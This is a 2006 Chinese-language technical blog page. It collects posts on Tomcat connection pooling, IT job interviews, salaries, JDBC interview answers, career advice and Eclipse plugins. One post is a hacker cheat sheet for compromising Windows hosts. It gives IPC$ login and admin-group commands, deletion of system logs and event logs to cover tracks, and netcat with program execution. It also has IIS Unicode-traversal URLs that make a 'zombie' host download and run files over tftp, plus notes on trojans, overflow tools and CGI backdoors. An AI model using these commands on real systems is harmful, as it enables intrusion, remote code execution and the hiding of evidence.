      目前,亞洲成為3g發(fā)展最快的地區(qū),歐洲緊隨其次,美國由于不太熱心而在技術(shù)準(zhǔn)備上遠(yuǎn)遠(yuǎn)落后。除了動(dòng)作最快的日本和韓國,泰國、香港也已經(jīng)發(fā)出3g牌照。臺(tái)灣即將發(fā)放3g牌照,預(yù)計(jì)內(nèi)地在年底前發(fā)出3g牌照,市場預(yù)期將發(fā)行兩到三個(gè)牌照
    posted @ 2006-03-25 18:40 MEYE 閱讀(362) | 評(píng)論 (0)編輯 收藏
    · TOMCAT5.5.16配置連接池???

    看到那么多朋友為了配置TOMCAT的連接池而煩惱,我在這里就給大家說說怎么配置連接池吧(針對(duì)5。5。16,不過我想應(yīng)該5。5。X版本的應(yīng)該都差不多)。呵呵,廢話不多說了,我們開始吧:)

    1。?? 下載TOMCAT5。5。X的admin包,把里面的內(nèi)容復(fù)制到TOMCAT的根目錄下

    2。? 重新啟動(dòng)TOMCAT http://127.0.0.1:8080/admin?登陸進(jìn)去,接著點(diǎn)Data Sources 在右上邊下拉表單那里選擇Create new data resource 。輸入JNDI NAME:(比如我用的是jdbc/heart) 其他的跟一般的一樣,該怎么填就怎么填好了。

    3???? SAVE?? 然后COMMIT CHANGES 。

    到此為止,還沒有結(jié)束哦,呵呵,剩下最關(guān)鍵的一步,進(jìn)入你的TOMCAT/CONF/下打開SERVER。XML 你會(huì)發(fā)現(xiàn)里面有一段是剛才的操作而自動(dòng)生成的東東,比如我剛才生成的是:

    <Resource
    ????? name="jdbc/heart"
    ????? type="javax.sql.DataSource"
    ????? password="heart"
    ????? driverClassName="com.microsoft.jdbc.sqlserver.SQLServerDriver"
    ????? maxIdle="20"
    ????? maxWait="5000"
    ????? username="heart"
    ????? url="jdbc:microsoft:sqlserver://127.0.0.1:1433;DatabaseName=heart;user=heart;password=heart;"
    ????? maxActive="100"/>
    就是他啦!呵呵,復(fù)制他!接著打開同級(jí)目錄下的context.xml,在</context>之前把他丟進(jìn)去,保存關(guān)閉。重新啟動(dòng)你的TOMCAT。

    到這里,配置就完成了哦,你就可以寫一段代碼來測試你的數(shù)據(jù)源是否配置好了,應(yīng)該是沒什么問題的,一步步按上邊的來做哦,千萬別粗心漏了一些細(xì)節(jié)的東東:)對(duì)了,為了防止低級(jí)錯(cuò)誤出現(xiàn),我在這里還是強(qiáng)調(diào)一下,記得之前要把驅(qū)動(dòng)包丟到COMMON/LIB下哦,呵呵,祝愿你能成功:)

    posted @ 2006-03-25 18:39 MEYE 閱讀(433) | 評(píng)論 (0)編輯 收藏
    某"面霸"瘋狂應(yīng)聘IT名企的經(jīng)歷
    ?發(fā)表于 2005-12-26 12:45:32

    華為


      1)筆試 可以選擇JAVAC++,我做的java,個(gè)人感覺考的很基礎(chǔ)。
      其中一個(gè)編程題:用數(shù)組實(shí)現(xiàn)棧,并且當(dāng)??臻g滿時(shí),??臻g增加一倍。
      2)面試:我面的是IT
      一面:技術(shù)面,40分鐘,問的很細(xì),UML,單點(diǎn)登錄,J2EE
      二面:綜合面,20分鐘 一個(gè)項(xiàng)目完整的經(jīng)歷
      三面:HR,職業(yè)規(guī)劃,優(yōu)勢與劣勢,期望工資與工作地點(diǎn)。5.8K。
      四面:老總面,最郁悶的,看了簡歷的封面,說專業(yè)不適合去華為工作。無語,也不想去了,因?yàn)榇稣f實(shí)話也不怎么樣,并且就憑專業(yè)的名稱淘汰


      騰訊-移動(dòng)kjava開發(fā)


      騰訊
      待遇:碩士年薪10萬,本科年薪7
      1)筆試: C++,基礎(chǔ)題目與程序員考試水平相當(dāng)。
      附加題:
      1.10億個(gè)浮點(diǎn)數(shù),從中找出1萬個(gè)最大的數(shù)。寫一個(gè)高性能的算法
      2.Unix后臺(tái)進(jìn)程的實(shí)現(xiàn)
      3.MFC的多文檔模板的加載
      4.數(shù)據(jù)庫SQL語句查詢
      2)面試
      技術(shù)1面:感覺騰訊的面試安排不是很合理,進(jìn)去之后有12個(gè)面試官,隨便找一個(gè)面。面我的是個(gè)鐵面判官,問了幾個(gè)問題,DirectX技術(shù)有沒有接觸過? 2D,3D引擎原理?我一頭霧水,跟他沒什么好談的,感覺,彼此都不感興趣。然后他就問了一個(gè)很基礎(chǔ)的問題,寫一個(gè)程序:從雙向循環(huán)鏈表中刪除一個(gè)節(jié)點(diǎn)。這個(gè)當(dāng)然沒有什么問題。不過出來后感覺就沒戲。

      無緣技術(shù)2面與HR


      廣東北電-研發(fā)


      廣東北電
      加拿大著名電信設(shè)備制造商北電網(wǎng)絡(luò)公司始建于一個(gè)世紀(jì)以前,在通訊發(fā)展進(jìn)步歷程中始終處于領(lǐng)袖地位,廣東北電通信設(shè)備有限公司成立于19953月,是北電在華投資的核心公司之一。公司網(wǎng)址是http://www.gdnt.com.cn/

      待遇:碩士7K,本科5.5K,很不錯(cuò)。一年13個(gè)月工資
      1)筆試C++:考的比較難,一共4題,1個(gè)小時(shí)完成:
      1.英譯漢  
      做完花了15分鐘,英語就一個(gè)字!
      2.中序遍歷一個(gè)二叉樹,不能用遞歸
      地球上的人都知道要壓棧,但平時(shí)根本就是在用遞歸解決。當(dāng)時(shí)現(xiàn)場比劃,花了近30分鐘才勉強(qiáng)寫到試卷上,汗顏!如果后序更麻煩。
      3.雙向冒泡程序改錯(cuò)--3個(gè)錯(cuò)誤
      看來看去,只發(fā)現(xiàn)了2個(gè)錯(cuò)誤。
      4.回答程序所完成的功能-共5
      題目有3頁紙,都還沒來的急看完,更別說寫字了,收卷!

      試卷一共13頁紙,出來暈倒一大片!真不知道他在考什么。

      以下是中大考試題目,要簡單多了:
      1.IS95標(biāo)準(zhǔn),關(guān)于CDMA發(fā)展。漢譯英
      2.編程題
      輸入年月日格式yyyymmdd,判斷是否是周末,只要求對(duì)2005年判斷。
      3.分析題:有關(guān)移動(dòng)通信編碼,位圖什么的,好像是輸入一串?dāng)?shù)據(jù),根據(jù)題目比編碼方法,寫出編碼后結(jié)果,好像沒多少人會(huì)做

      2) 面試
      1.多進(jìn)程與多線程的區(qū)別與通信
      2.測試方法
      3.C++中的多態(tài)在C中如何實(shí)現(xiàn)

    用友筆試


      一般能力測試+開放試題
      1)按類中的某個(gè)屬性對(duì)類數(shù)組排序,盡量用JDK的類實(shí)現(xiàn)
      2)找出兩個(gè)字符串?dāng)?shù)組中的相同元素
      3)不同平臺(tái)下程序的實(shí)現(xiàn)問題

      為什么出了面試通知后,遲遲沒有通知面試?靠!


      神州數(shù)碼-開發(fā)工程師


      神州數(shù)碼
      待遇:稅前5K
      1)筆試:綜合能力測試(公務(wù)員題目)+專業(yè)測試(J2EE/C++/數(shù)據(jù)庫)
      感覺專業(yè)測試很easy,但是考的非常全,涉及范圍:struts, spring ,eclipse, html, ejb等等;


      2)面試:沒有問技術(shù)問題
      1面:HR面,半結(jié)構(gòu)化測試,主要是性格測試
      2面:業(yè)務(wù)面,沒有問任何技術(shù)問題,就是職業(yè)規(guī)劃和情景分析


      立信-從興電子


      立信-從興電子
      筆試:C++,考的n基礎(chǔ),但是不是很好做
      1) C++中引用編譯過的C代碼為什么要用“extern c”
      2) 類與struct的區(qū)別
      3)數(shù)據(jù)庫建表的SQL語句,注意主鍵與外鍵是如何建立的
      4)文件的外排序,考慮到CPU,內(nèi)存,硬盤空間等。
      面試:
      一面:技術(shù)+HR,很容易應(yīng)付
      二面:通知是綜合面,還沒有去面,應(yīng)該是談價(jià)錢


      招商銀行研發(fā)中心


      筆試:IQ測試+專業(yè)測試(c++,java,delphi,html都有),考的都是很基礎(chǔ)的,但是不容易對(duì)付
      面試:在筆試的過程中進(jìn)行,就問了一下項(xiàng)目,工作流,專業(yè)課程與成績,感覺很不正歸,因?yàn)檫BHR的面試都沒有


      金蝶


      筆試:綜合能力測試(公務(wù)員題目)+專業(yè)測試(java+數(shù)據(jù)庫+UML
      1.SWING中組件布局有哪幾種方式
      2.寫實(shí)例代碼說明多態(tài)的實(shí)現(xiàn)
      3.數(shù)據(jù)庫SQL語句
      4.基礎(chǔ)題目考的很全,國際化,數(shù)據(jù)庫索引,xml shema, ejb, 數(shù)據(jù)結(jié)構(gòu)等等
      面試: 歷史上時(shí)間最短的面試,加起來估計(jì)10分鐘,估計(jì)被B4
      1HR: 就問了專業(yè),成績,期望工作城市。出來后看到給我評(píng)價(jià)是一般,真不知道是怎么判斷的
      2)技術(shù)面:問其中一個(gè)項(xiàng)目,UML用在項(xiàng)目的哪些方面,有沒有用到數(shù)據(jù)庫索引,數(shù)據(jù)庫實(shí)體建模是用什么工具


      群碩


      在上海,做外包的。開出的待遇不高,拒絕
      筆試:英文,不難做,JAVA基礎(chǔ)知識(shí)
      面試:
      一面:技術(shù)面,MVC架構(gòu),存儲(chǔ)過程,JDBCJMXJMS的區(qū)別,Servlet的運(yùn)行過程與線程安全性,.net自動(dòng)裝箱與拆箱是否可逆,ADOADO.NET的區(qū)別
      二面:HR面,職業(yè)規(guī)劃,期望工資,雙選的準(zhǔn)則


      康拓普電力自動(dòng)化

      康拓普
      待遇:稅前5K
      筆試:IQ測試+專業(yè)測試(java):
      考的非?;A(chǔ): 人民幣數(shù)字轉(zhuǎn)化為文字,如1235, 輸出一千二百三十五元
      面試:項(xiàng)目和一些基礎(chǔ)
      簽約, 一切來的都很自然也很偶然

    posted @ 2006-03-25 18:28 MEYE 閱讀(389) | 評(píng)論 (0)編輯 收藏
    2005年全國各大IT公司薪酬
    發(fā)表于 2005-12-26 12:45:00

    以下內(nèi)容僅供參考,如有偏差請(qǐng)一笑置之。

      日本SONY(索尼) 1/,僅要研究生

      韓國三星電子中國總部 25/

      法國索姆軟件,年薪20/,赴歐工作

      美國Cisco(思科)15000/,僅要研究生

      美國INTEL(英特爾) 13000/

      美國IBM 5000左右/

      德國西門子 8000/

      西藏聯(lián)通 8100(必須滿8),不過高原反應(yīng)太艱苦

      青海聯(lián)通 月薪是50007000,而且可以只簽一年

      深圳聯(lián)通 3000-4000/月 其余偏遠(yuǎn)地方略高

      深圳記憶科技 本科10-15/,碩士15-20/

      上海網(wǎng)道信息技術(shù)() 7000-8000/,1000/月伙食補(bǔ)貼,1000/月房租

      中國電信 7-10/,另交通補(bǔ)助400/,住房補(bǔ)貼1000/

      美AVANT 6-8/

      東方通信 6-8/(僅要研究生)

      北京聯(lián)想 6-7.5/

      深大通信 6/

      福州康順光通訊 5-10/

      美國FIBERON公司,10/,6/

      深圳華為 5480/,400多人

      青島海爾 5-6/

      ut斯達(dá)康 本5000/月,研6000-8000/

      MOTOROLA(蘇州)5000/

      深圳中興 5000/,100多人

      上海洪一,維景科技公司(臺(tái)資) 5000/

      北京華虹NEC 4000-5000/

      深圳黎明網(wǎng)絡(luò) 本科起薪4000/,碩士6500/,8500/

      廣東北電 4000-5000/

      上海貝爾 40000/ + 15000(年終獎(jiǎng))

      成都邁普 50000/年(研發(fā))

      中國建設(shè)銀行新疆分行 4.5/

      北京大唐中央研究院 實(shí)習(xí)期4000/月,轉(zhuǎn)正5000/

      大唐分公司 3000/,轉(zhuǎn)正4000/

      北大方正奧德 3500-4000/,21個(gè)

      青島海信 40000/,兩年后6-7/

      中華通信 博士生:5000元;碩士生:4000元;本科生:3000

      煙臺(tái)東方電子 3000/ ,轉(zhuǎn)正4000/.年終獎(jiǎng)平均1.5, 婚后分一套70平米21廳房子

      廣東金鵬 3000-4000/

      深圳康佳 3000-4000/

      TCL 3800/(深圳),2000-3000/(惠州)

      深圳奧林巴斯() 3000/,一年135天假期,1200/月房租補(bǔ)貼補(bǔ)

      武漢郵科院 本科3000/月,研究生5000/

      福建實(shí)達(dá) 30000/

      上海計(jì)算機(jī)研究所 2500-4000/

      深圳飛通 本3000/月,研5000/

      中訊 3000/

      北京網(wǎng)通 3000/

      寧波雅戈?duì)?/span> 3000/

      廣州華南資訊本科試用期2500/,60000/

      寧波波導(dǎo) 2.5-5/

      成都29 2.5-3/

      青島朗訊(合資) 25000-30000/

      上海電真空研究所2000/,轉(zhuǎn)正3000/

      鼗島海灣科技 本科2.5/.5.5/

      和記黃埔(香港李嘉城實(shí)業(yè),重慶,北京) 2000-4000/月,碩4000-6000/

      中國電信廣州研究中心 2-10/

      西安電子工程研究所 2000-3000/

      中國工程物理研究院(四川綿陽) 2.5/年 軍隊(duì)待遇,本科定副連級(jí)

      南京自動(dòng)化研究所 2000/

      36所 本2000 -4000/,3000-6000,5000-8000/

      AMD 2000/

      北京中國航空航天部二院23 2000/

      廈門廈新 1800-1900/

      廣東美的 1800-2400/

      蘇州明基電腦( 臺(tái)資) 1600-2000/

      四川長虹 1500--2000/

      深圳天馬微電子 1500/月,轉(zhuǎn)正3-4/

      合肥英圖微電子(合資) 1500/, 2000/月 (轉(zhuǎn)正)

      長城電腦 1500/

      成都國騰通信 1200/,研發(fā)人員2000-4000/

      成都TOP 1500/

      合肥三十八所 1500/

      海軍南海艦隊(duì)湛江基地1100+(300--700)+福利

      湘計(jì)算機(jī) 1000/月,轉(zhuǎn)正2000/月 

    ?

    ?
    posted @ 2006-03-25 18:17 MEYE 閱讀(354) | 評(píng)論 (0)編輯 收藏
         摘要: 各種電子教程下載網(wǎng)址超級(jí)大集合 ==========Photoshop教學(xué)站點(diǎn)========== http://www.iwebcreator.net/http://www.photoshopcn.com...  閱讀全文
    posted @ 2006-03-25 18:13 MEYE 閱讀(2447) | 評(píng)論 (1)編輯 收藏
         摘要: 各種電子教程下載網(wǎng)址超級(jí)大集合 ==========Photoshop教學(xué)站點(diǎn)========== http://www.iwebcreator.net/http://www.photoshopcn.com...  閱讀全文
    posted @ 2006-03-25 18:13 MEYE 閱讀(1278) | 評(píng)論 (0)編輯 收藏
    java程序員面試必答題--數(shù)據(jù)庫
    ?
    這道題我在好多個(gè)公司都考了,現(xiàn)在總結(jié)下來
    ?
    寫一種數(shù)據(jù)庫操作
    ?
    最通用的答案是使用數(shù)據(jù)源的
    ?
    1、完整的,基于struts框架的
    ?
    //取得當(dāng)前模型 struts
    ServletContext context = getServlet().getServletContext();

    //指定配置文件???????
    ModuleConfig moduleConfig = ModuleUtils.getInstance().getModuleConfig(request, context);
    ?
    //取得配置文件中指定的數(shù)據(jù)源
    DataSource dataSource = (DataSource) context.getAttribute(key + moduleConfig.getPrefix());
    ?
    //取得數(shù)據(jù)庫連接
    Connection conn = dataSource.getConnection();
    ?
    //準(zhǔn)備sql操作
    ps = conn.prepareStatement(sql);
    ?
    //sql問中參數(shù)綁定
    statement.setString(綁定參數(shù)位置, 所需綁定的參數(shù));
    ?
    //執(zhí)行sql
    rs = ps.executeQuery();
    ?
    //結(jié)果rs保存
    ??while (rs.next()) {
    ???rs.getInt("aa");
    ???rs.getString("bb");
    ??}
    ?
    2、簡單的
    //取得數(shù)據(jù)庫連接
    Connection conn = dataSource.getConnection();
    ?
    //準(zhǔn)備sql操作
    ps = conn.prepareStatement(sql);
    ?
    //執(zhí)行sql
    rs = ps.executeQuery();
    ?
    //結(jié)果rs保存
    ??while (rs.next()) {
    ???rs.getInt("aa");
    ???rs.getString("bb");
    ??}
    posted @ 2006-03-25 18:11 MEYE 閱讀(392) | 評(píng)論 (0)編輯 收藏
    軟件工程師的務(wù)實(shí)職業(yè)生涯規(guī)劃
    ? ?[1]
      好好規(guī)劃自己的路,不要跟著感覺走!根據(jù)個(gè)人的理想決策安排,絕大部分人并不指望成為什么院士或教授,而是希望活得滋潤一些,爽一些。那么,就需要慎重安排自己的軌跡。從哪個(gè)行業(yè)入手,逐漸對(duì)該行業(yè)深入了解,不要頻繁跳槽,特別是不要為了一點(diǎn)工資而轉(zhuǎn)移陣地,從長遠(yuǎn)看,這點(diǎn)錢根本不算什么,當(dāng)你對(duì)一個(gè)行業(yè)有那么幾年的體會(huì),以后錢根本不是問題。頻繁地動(dòng)蕩不是上策,最后你對(duì)哪個(gè)行業(yè)都沒有摸透,永遠(yuǎn)是新手!
      
      [2]
      可以做技術(shù),切不可沉湎于技術(shù)。千萬不可一門心思鉆研技術(shù)!給自己很大壓力,如果你的心思全部放在這上面,那么注定你將成為孔乙己一類的人物!適可而止為之,因?yàn)榧夹g(shù)只不過是你今后前途的支柱之一,而且還不是最大的支柱,除非你只愿意到老還是個(gè)工程師!
      
      [3]
      不要去做技術(shù)高手,只去做綜合素質(zhì)高手!在企業(yè)里混,我們時(shí)常瞧不起某人,說他“什么都不懂,憑啥拿那么多錢,憑啥升官!”這是普遍的典型的工程師的迂腐之言。8051很牛嗎?人家能上去必然有他的本事,而且是你沒有的本事。你想想,老板搞經(jīng)營那么多年,難道見識(shí)不如你這個(gè)新兵?人家或許善于管理,善于領(lǐng)會(huì)老板意圖,善于部門協(xié)調(diào)等等。因此務(wù)必培養(yǎng)自己多方面的能力,包括管理,親和力,察言觀色能力,攻關(guān)能力等,要成為綜合素質(zhì)的高手,則前途無量,否則只能躲在角落看示波器!技術(shù)以外的技能才是更重要的本事!!從古到今,美國日本,一律如此!
      
      [4]
      多交社會(huì)三教九流的朋友!不要只和工程師交往,認(rèn)為有共同語言,其實(shí)更重要的是和其他類人物交往,如果你希望有朝一日當(dāng)老板或高層管理,那么你整日面對(duì)的就是這些人。了解他們的經(jīng)歷,思維習(xí)慣,愛好,學(xué)習(xí)他們處理問題的模式,了解社會(huì)各個(gè)角落的現(xiàn)象和問題,這是以后發(fā)展的巨大的本錢,沒有這些以后就會(huì)笨手笨腳,跌跌撞撞,遇到重重困難,交不少學(xué)費(fèi),成功的概率大大降低!
      
      [5]
      知識(shí)涉獵不一定專,但一定要廣!多看看其他方面的書,金融,財(cái)會(huì),進(jìn)出口,稅務(wù),法律等等,為以后做一些積累,以后的用處會(huì)更大!會(huì)少交許多學(xué)費(fèi)??!
      
      [6]
      抓住時(shí)機(jī)向技術(shù)管理或市場銷售方面的轉(zhuǎn)變!要想有前途就不能一直搞開發(fā),適當(dāng)時(shí)候要轉(zhuǎn)變?yōu)楣芾砘蜾N售,前途會(huì)更大,以前搞技術(shù)也沒有白搞,以后還用得著。搞管理可以培養(yǎng)自己的領(lǐng)導(dǎo)能力,搞銷售可以培養(yǎng)自己的市場概念和思維,同時(shí)為自己以后發(fā)展積累龐大的人脈!應(yīng)該說這才是前途的真正支柱?。?!
      
      [7]
      逐漸克服自己的心里弱點(diǎn)和性格缺陷!多疑,敏感,天真(貶義,并不可愛),猶豫不決,膽怯,多慮,臉皮太薄,心不夠黑,教條式思維。。。這些工程師普遍存在的性格弱點(diǎn)必須改變!很難嗎?只在床上想一想當(dāng)然不可能,去幫朋友守一個(gè)月地?cái)?,包?zhǔn)有效果,去實(shí)踐,而不要只想!不克服這些缺點(diǎn),一切不可能,甚至連項(xiàng)目經(jīng)理都當(dāng)不好--盡管你可能技術(shù)不錯(cuò)!
      
      [8]
      工作的同時(shí)要為以后做準(zhǔn)備!建立自己的工作環(huán)境!及早為自己配置一個(gè)工作環(huán)境,裝備電腦,示波器(可以買個(gè)二手的),仿真器,編程器等,業(yè)余可以接點(diǎn)活,一方面接觸市場,培養(yǎng)市場感覺,同時(shí)也積累資金,更重要的是準(zhǔn)備自己的產(chǎn)品,咱搞技術(shù)的沒有錢,只有技術(shù),技術(shù)的代表不是學(xué)歷和證書,而是產(chǎn)品,拿出象樣的產(chǎn)品,就可技術(shù)轉(zhuǎn)讓或與人合作搞企業(yè)!先把東西準(zhǔn)備好,等待機(jī)會(huì),否則,有了機(jī)會(huì)也抓不住!
      
      [9]
      要學(xué)會(huì)善于推銷自己!不僅要能干,還要能說,能寫,善于利用一切機(jī)會(huì)推銷自己,樹立自己的品牌形象,很必要!要?jiǎng)?chuàng)造條件讓別人了解自己,不然老板怎么知道你能干?外面的投資人怎么相信你?提早把自己推銷出去,機(jī)會(huì)自然會(huì)來找你!搞個(gè)個(gè)人主頁是個(gè)好注意!!特別是培養(yǎng)自己在行業(yè)的名氣,有了名氣,高薪機(jī)會(huì)自不在話下,更重要的是有合作的機(jī)會(huì)...
      
      [10]
      該出手時(shí)便出手!永遠(yuǎn)不可能有100%把握?。?!條件差不多就要大膽去干,去闖出自己的事業(yè),不要猶豫,不要彷徨,干了不一定成功,但至少為下一次沖擊積累了經(jīng)驗(yàn),不干永遠(yuǎn)沒出息,而且要干成必然要經(jīng)歷失敗。不經(jīng)歷風(fēng)雨,怎么見彩虹,沒有人能隨隨便便成功!
      
      這篇文章是我偶然在論壇上看到的,看后覺得挺有感觸的。朋友們可以參考下,我一直認(rèn)為做人一定要做個(gè)多面手,不是說你作技術(shù)就不能做別的,其實(shí)多學(xué)點(diǎn)對(duì)自己是沒有壞處的,還有平時(shí)多注意積累其他方面的知識(shí),這樣在自己不做技術(shù)的時(shí)候還有別的可做。做個(gè)有準(zhǔn)備的人豈不是更好!
    posted @ 2006-03-25 18:05 MEYE 閱讀(340) | 評(píng)論 (0)編輯 收藏
    網(wǎng)管和黑客都必須知道的命令
    ? 常用的幾條NET命令:?

    (與遠(yuǎn)程主機(jī)建立空管連接)?net?use?\\IP地址\ipc$?""?/use:""?

    (以管理員身份登錄遠(yuǎn)程主機(jī))?net?use?\\IP地址\ipc$?"密碼"?/use:"Administrator"?

    (傳送文件到遠(yuǎn)程主機(jī)WINNT目錄下)copy?本機(jī)目錄路徑\程序?\\IP地址\admin$?

    (查看遠(yuǎn)程主機(jī)時(shí)間)?net?time?\\IP地址?

    (定時(shí)啟動(dòng)某個(gè)程序)?at?\\IP地址?02:18?readme.exe?

    (查看共享)?net?view?\\IP地址?

    (查看netbios工作組列表)?nbtstat?-A?IP地址?

    (將遠(yuǎn)程主機(jī)C盤映射為自己的F盤)?net?use?f:?\\IP地址\c$?""/user:"Administrator"?

    (這兩條把自己增加到管理員組):?net?user?用戶名?密碼?/add?

    net?localgroup?Administrators?用戶名?/add?

    (斷開連接)?net?use?\\IP地址\ipc$?/delete?

    掃尾:?

    del?C:\winnt\system32\logfiles\*.*?

    del?C:\winnt\ssytem32\config\*.evt?

    del?C:\winnt\system32\dtclog\*.*?

    del?C:\winnt\system32\*.log?

    del?C:\winnt\system32\*.txt?

    del?C:\winnt\*.txt?

    del?C:\winnt\*.log?

    一、netsvc.exe?

    下面的命令分別是列出主機(jī)上的服務(wù)項(xiàng)目、查尋和遠(yuǎn)程啟動(dòng)主機(jī)的“時(shí)間任務(wù)”服務(wù):?

    netsvc?/list?\\IP地址?

    netsvc?schedule?\\IP地址?/query?

    netsvc?\\IP地址?schedule?/start?

    二、OpenTelnet.exe?

    遠(yuǎn)程啟動(dòng)主機(jī)的Telnet服務(wù),并綁定端口到7878,例如:?

    OpenTelnet?\\IP地址?用戶名?密碼?1?7878?

    然后就可以telnet到主機(jī)的7878端口,進(jìn)入DOS方式下:?

    telnet?IP地址?7878?

    三、winshell.exe?

    一個(gè)非常小的木馬(不到6K),telnet到主機(jī)的7878端口,輸入密碼winshell,當(dāng)看到CMD>后,可打下面的命令:?

    p?Path?(查看winshell主程序的路徑信息)?

    b?reBoot?(重新啟動(dòng)機(jī)器)?

    d?shutDown?(關(guān)閉機(jī)器)?

    s?Shell?(執(zhí)行后你就會(huì)看到可愛的“C:\>”)?

    x?eXit?(退出本次登錄會(huì)話,此命令并不終止winshell的運(yùn)行)?

    CMD>?http://.../srv.exe?(通過http下載其他網(wǎng)站上的文件到運(yùn)行winshell的機(jī)器上)?

    四、3389登陸器,GUI方式登錄遠(yuǎn)程主機(jī)的?

    五、elsave.exe?

    事件日志清除工具?

    elsave?-s?\\IP地址?-l?"application"?-C?

    elsave?-s?\\IP地址?-l?"system"?-C?

    elsave?-s?\\IP地址?-l?"security"?-C?

    執(zhí)行后成功清除應(yīng)用程序日志,系統(tǒng)日志,安全日志?

    六、hbulot.exe?

    開啟win2kserver和winxp的3389服務(wù)?

    hbulot?[/r]?

    使用/r表示安裝完成后自動(dòng)重起目標(biāo)使設(shè)置生效。?

    七、nc.exe(netcat.exe)?

    一個(gè)很好的工具,一些腳本程序都要用到它,也可做溢出后的連接用。?

    想要連接到某處:?nc?[-options]?hostname?port[s]?[ports]?...?

    綁定端口等待連接:?nc?-l?-p?port?[-options]?[hostname]?[port]?

    參數(shù):?

    -e?prog?程序重定向,一旦連接,就執(zhí)行?[危險(xiǎn)!!]?

    -g?gateway?source-routing?hop?point[s],?up?to?8?

    -G?num?source-routing?pointer:?4,?8,?12,?...?

    -h?幫助信息?

    -i?secs?延時(shí)的間隔?

    -l?監(jiān)聽模式,用于入站連接?

    -n?指定數(shù)字的IP地址,不能用hostname?

    -o?file?記錄16進(jìn)制的傳輸?

    -p?port?本地端口號(hào)?

    -r?任意指定本地及遠(yuǎn)程端口?

    -s?addr?本地源地址?

    -u?UDP模式?

    -v?詳細(xì)輸出——用兩個(gè)-v可得到更詳細(xì)的內(nèi)容?

    -w?secs?timeout的時(shí)間?

    -z?將輸入輸出關(guān)掉——用于掃描時(shí)?
    八、TFTPD32.EXE?

    把自己的電腦臨時(shí)變?yōu)橐慌_(tái)FTP服務(wù)器,讓肉雞來下載文件,tftp命令要在肉雞上執(zhí)行,通常要利用Unicode漏洞或telnet到肉雞,例如:?

    http://IP地址/s?cripts/..%255c..%255c/winnt/system32/cmd.exe?/c?tftp?-i?本機(jī)IP地址?get?文件名?c:\winnt\system32\文件名?

    然后可以直接令文件運(yùn)行:?

    http://IP地址/s?cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名?

    九、prihack.exe是IIS的printer遠(yuǎn)程緩沖區(qū)溢出工具。idqover.exe是溢出idq的,選擇“溢出后在一個(gè)端口監(jiān)聽”,然后用telnet連接它的監(jiān)聽端口,如果溢出成功,一連它的端口,綁定的命令馬上執(zhí)行。xploit.exe是一個(gè)圖形界面的ida溢出,成功以后winxp下需要打winxp。?

    一○、ntis.exe、cmd.exe和cmdasp.asp是三個(gè)cgi-backdoor,exe要放到cgi-bin目錄下,asp放到有ASP執(zhí)行權(quán)限的目錄。然后用IE瀏覽器連接。?

    一、一?Xscan命令行運(yùn)行參數(shù)說明:?

    在檢測過程中,按"[空格]"鍵可以查看各線程狀態(tài)及掃描進(jìn)度,按"q"鍵保存當(dāng)前數(shù)據(jù)后提前退出程序,按"<ctrl+c>"強(qiáng)行關(guān)閉程序。?

    1.命令格式:?xscan?-host?<起始IP>[-<終止IP>]?<檢測項(xiàng)目>?[其他選項(xiàng)]?

    xscan?-file?<主機(jī)列表文件名>?<檢測項(xiàng)目>?[其他選項(xiàng)]?

    其中<檢測項(xiàng)目>?含義如下:?

    -port?:?檢測常用服務(wù)的端口狀態(tài)(可通過\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"項(xiàng)定制待檢測端口列表);?

    -ftp?:?檢測FTP弱口令(可通過\dat\config.ini文件設(shè)置用戶名/密碼字典文件);?

    -ntpass?:?檢測NT-Server弱口令(可通過\dat\config.ini文件設(shè)置用戶名/密碼字典文件);?

    -cgi?:?檢測CGI漏洞(可通過\dat\config.ini文件的"CGI-ENCODE\encode_type"項(xiàng)設(shè)置編碼方案);?

    -iis?:?檢測IIS漏洞(可通過\dat\config.ini文件的"CGI-ENCODE\encode_type"項(xiàng)設(shè)置編碼方案);?

    [其他選項(xiàng)]?含義如下:?

    -v:?顯示詳細(xì)掃描進(jìn)度?

    -p:?跳過Ping不通的主機(jī)?

    -o:?跳過沒有檢測到開放端口的主機(jī)?

    -t?<并發(fā)線程數(shù)量[,并發(fā)主機(jī)數(shù)量]>:?指定最大并發(fā)線程數(shù)量和并發(fā)主機(jī)數(shù)量,?默認(rèn)數(shù)量為100,10?

    posted @ 2006-03-25 18:04 MEYE 閱讀(338) | 評(píng)論 (0)編輯 收藏
    Eclipse及其插件介紹和下載

    Eclipse及其插件介紹和下載- -

    TagEclipse ?? 插件 ?? ??????????????????????????????????????

    *.Eclipse下載
    EMF,GEF - Graphical Editor Framework,UML2,VE - Visual Editor都在這里下載
    http://www.eclipse.org/downloads/index.php
    ?
    *.lomboz J2EE插件,開發(fā)JSP,EJB
    http://forge.objectweb.org/projects/lomboz
    1.MyEclipse J2EE開發(fā)插件,支持SERVLET/JSP/EJB/數(shù)據(jù)庫操縱等
    http://www.myeclipseide.com
    ?
    2.Properties Editor? 編輯java的屬性文件,并可以自動(dòng)存盤為Unicode格式
    http://propedit.sourceforge.jp/index_en.html
    ?
    3.Colorer Take? 為上百種類型的文件按語法著色
    http://colorer.sourceforge.net/
    ?
    4.XMLBuddy 編輯xml文件
    http://www.xmlbuddy.com
    ?
    5.Code Folding? 加入多種代碼折疊功能(比eclipse自帶的更多)
    http://www.coffee-bytes.com/servlet/PlatformSupport
    ?
    6.Easy Explorer? 從eclipse中訪問選定文件、目錄所在的文件夾
    http://easystruts.sourceforge.net/
    ?
    7.Fat Jar 打包插件,可以方便的完成各種打包任務(wù),可以包含外部的包等
    http://fjep.sourceforge.net/
    ?
    8.RegEx Test 測試正則表達(dá)式
    http://brosinski.com/stephan/archives/000028.php
    ?
    9.JasperAssistant 報(bào)表插件(強(qiáng),要錢的)
    http://www.jasperassistant.com/
    ?
    10.Jigloo GUI Builder JAVA的GUI編輯插件
    http://cloudgarden.com/jigloo/
    ?
    11.Profiler 性能跟蹤、測量工具,能跟蹤、測量BS程序
    http://sourceforge.net/projects/eclipsecolorer/
    ?
    12.AdvanQas 提供對(duì)if/else等條件語句的提示和快捷幫助(自動(dòng)更改結(jié)構(gòu)等)
    http://eclipsecolorer.sourceforge.net/advanqas/index.html
    ?
    13.Log4E Log4j插件,提供各種和Log4j相關(guān)的任務(wù),如為方法、類添加一個(gè)logger等
    http://log4e.jayefem.de/index.php/Main_Page
    ?
    14.VSSPlugin VSS插件
    http://sourceforge.net/projects/vssplugin
    ?
    15.Implementors 提供跳轉(zhuǎn)到一個(gè)方法的實(shí)現(xiàn)類,而不是接中的功能(實(shí)用!)
    http://eclipse-tools.sourceforge.net/implementors/
